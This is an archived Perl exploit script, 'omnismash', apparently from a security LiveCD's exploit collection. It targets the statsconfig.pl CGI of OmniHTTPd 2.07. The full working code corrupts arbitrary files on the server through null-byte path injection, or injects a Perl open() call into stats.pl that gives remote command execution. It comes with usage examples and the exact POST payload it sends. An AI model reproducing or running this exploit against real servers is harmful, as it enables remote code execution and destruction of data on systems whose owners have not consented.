home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / omni / omnismash.pl < prev   
Encoding:
Perl Script  |  2005-02-12  |  5.6 KB  |  159 lines
  1. #!/usr/bin/perl
  2.  
  3. ######################################################
  4. #                                                    #
  5. # omnismash v1.2 by Joe Testa  [01.08.2001  9:26PM]  #
  6. #              ( joetesta@hushmail.com )             #
  7. #                                                    #
  8. ######################################################
  9. #                                                    #
  10. # This program exploits two holes in                 #
  11. # 'statsconfig.pl', a cgi script which is installed  #
  12. # by default by OmniHTTPd v2.07 (and possibly older  #
  13. # versions).                                         #
  14. #                                                    #
  15. # 1.)  Any file on the system may be corrupted,      #
  16. # including those on drives the server does not      #
  17. # reside on.                                         #
  18. #                                                    #
  19. #                                                    #
  20. #   Example:                                         #
  21. #                                                    #
  22. #     perl omnismash.pl localhost 80 -corrupt        #
  23. #                c:\autoexec.bak                     #
  24. #                                                    #
  25. #                                                    #
  26. # 2.)  Code can be injected into                     #
  27. # '/cgi-bin/stats.pl'.  The absolute path to the     #
  28. # the 'cgi-bin' must already be known.               #
  29. #                                                    #
  30. #                                                    #
  31. #   Example:                                         #
  32. #                                                    #
  33. #     perl omnismash.pl localhost 80 -inject         #
  34. #               c:/httpd/cgi-bin                     #
  35. #                                                    #
  36. # This exploit is set to insert a bare 'open()' call #
  37. # to allow command execution like so:                #
  38. #                                                    #
  39. #     http://localhost/cgi-bin/stats.pl?|dir         #
  40. #                                                    #
  41. ######################################################
  42.  
  43.  
  44. use IO::Socket;
  45.  
  46.  
  47. print "\nomnismash v1.2 by Joe Testa  [01.08.2001  9:26PM]\n";
  48. print "             ( joetesta\@hushmail.com )\n\n\n";
  49.  
  50.  
  51.  
  52. if ( scalar @ARGV < 4 ) {
  53.     print "usage:  perl omnismash.pl target port " .
  54.                                "[ -inject cgipath | -corrupt file ]\n";
  55.     exit();
  56. }
  57.  
  58.  
  59.  
  60. $target = $ARGV[ 0 ];
  61. $port = $ARGV[ 1 ];
  62. $inject_or_corrupt = $ARGV[ 2 ];
  63. $stuff = $ARGV[ 3 ];
  64.  
  65.  
  66.  
  67. print "Creating socket... ";
  68. $sock = new IO::Socket::INET( PeerAddr => $target,
  69.                               PeerPort => int( $port ),
  70.                               Proto    => 'tcp' );
  71. die "$!" unless $sock;
  72. print "done.\n";
  73.  
  74.  
  75.  
  76. if ( $inject_or_corrupt eq '-inject' ) {
  77.  
  78.  
  79.     $worthless_stuff = "perllib=" . $stuff . "/statsconfig.pl%00&" .
  80.                            "cgidir=" . $stuff;
  81.     
  82.     $more_worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
  83.                            "mostbrowsers=on&timelog=on&mostipnum=5&" .
  84.                            "mostreqf=5&mostbrowsernum=5";
  85.  
  86.     $semi_important_stuff = ";%20if(\$ENV{'QUERY_STRING'})" .
  87.                            "{open(QS,\$ENV{'QUERY_STRING'});}\$a%3D1&" .
  88.                            "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
  89.                            "imagebar=%2Fstatsbar.gif&" .
  90.                            "serveradd=%3C%21--%23echo+var%3D&" .
  91.                            "barwidth=100&barheight=5&listpass=&" .
  92.                            "bgcolor=%23FFFFFF&bgimage=&" .
  93.                            "ttBGcolor=%23FFFFDD";
  94.  
  95.     $exploit = $worthless_stuff . $more_worthless_stuff .
  96.                                                  $semi_important_stuff;
  97.  
  98.  
  99. } elsif ( $inject_or_corrupt eq '-corrupt' ) {
  100.  
  101.  
  102.     # Cheap hex encoding....
  103.     $stuff =~ s/:/\%3A/g;       # ':' => %3A
  104.     $stuff =~ s/\\/\%2F/g;      # '\' => %2F
  105.     $stuff =~ s/\//\%2F/g;      # '/' => %2F
  106.     $stuff =~ s/ /\%20/g;       # ' ' => %20
  107.     $stuff =~ s/\./%2E/g;       # '.' => %2E
  108.  
  109.  
  110.  
  111.     # This appends a hex-encoded null character to the file to truncate
  112.     # text that is appended to it by statsconfig.pl during processing.
  113.  
  114.     $stuff .= "%00";
  115.  
  116.  
  117.     # Construct the exploit string.  This does nothing more than set
  118.     # the 'perllib' and 'cgidir' fields to our null-padded filename,
  119.     # then add additional fields to pass a series of "if()" checks.
  120.  
  121.     $worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
  122.                        "mostbrowsers=on&timelog=on&mostipnum=5&" .
  123.                        "mostreqf=5&mostbrowsernum=5&" .
  124.                        "logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
  125.                        "imagebar=%2Fstatsbar.gif&" .
  126.                        "serveradd=%3C%21--%23echo+var%3D&" .
  127.                        "barwidth=100&barheight=5&listpass=&" .
  128.                        "bgcolor=%23FFFFFF&bgimage=&" .
  129.                        "ttBGcolor=%23FFFFDD";
  130.  
  131.     $exploit = "perllib=" . $stuff . "&cgidir=" . $stuff .
  132.                                                       $worthless_stuff;
  133.  
  134. }
  135.  
  136. $length = length( $exploit );
  137.  
  138.  
  139.  
  140. # Write the string to the socket...
  141.  
  142. print "Sending exploit string... ";
  143. print $sock "POST /cgi-bin/statsconfig.pl HTTP/1.0\n";
  144. print $sock "Content-type: application/x-www-form-urlencoded\n";
  145. print $sock "Content-length: $length\n\n";
  146.  
  147. print $sock $exploit;
  148. print "done.\n";
  149.  
  150.  
  151. # Read result from server...
  152.  
  153. print "Waiting for response...\n\n";
  154. read( $sock, $buffer, 1024 );
  155. print $buffer;
  156.  
  157.  
  158. close( $sock );
  159. exit();